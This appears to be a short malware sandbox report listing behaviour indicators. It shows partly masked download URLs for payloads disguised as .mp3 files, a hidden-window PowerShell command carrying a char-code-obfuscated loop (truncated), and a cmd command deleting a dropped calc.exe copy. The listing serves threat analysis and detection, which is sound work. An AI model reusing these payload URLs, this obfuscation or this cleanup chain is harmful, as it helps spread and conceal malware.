Technical Information
- %WINDIR%\explorer.exe
- http://ni##dis.com/pdf/Stub.mp3
- http://ni##dis.com/pdf/sload.mp3
- DNS ASK google.com
- DNS ASK ni##dis.com
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8FA708063C223D08FAAB62F9A714B8FB659EEEEC22F713DEDF7158DF9DFA=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...' (with hidden window)
- '<SYSTEM32>\svchost.exe' -k DcomLaunch -p -s PlugPlay
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' $8FA708063C223D08FAAB62F9A714B8FB659EEEEC22F713DEDF7158DF9DFA=@(100,111,32,123,36,112,105,110,103,32,61,32,116,101,115,116,45,99,111,110,110,101,99,116,105,111,110,32,45,99,111,109,112,32,103,1...
- '%WINDIR%\syswow64\calc.exe'
- '%WINDIR%\syswow64\explorer.exe'
- '%WINDIR%\syswow64\cmd.exe' del "%WINDIR%\syswow64\calc.exe"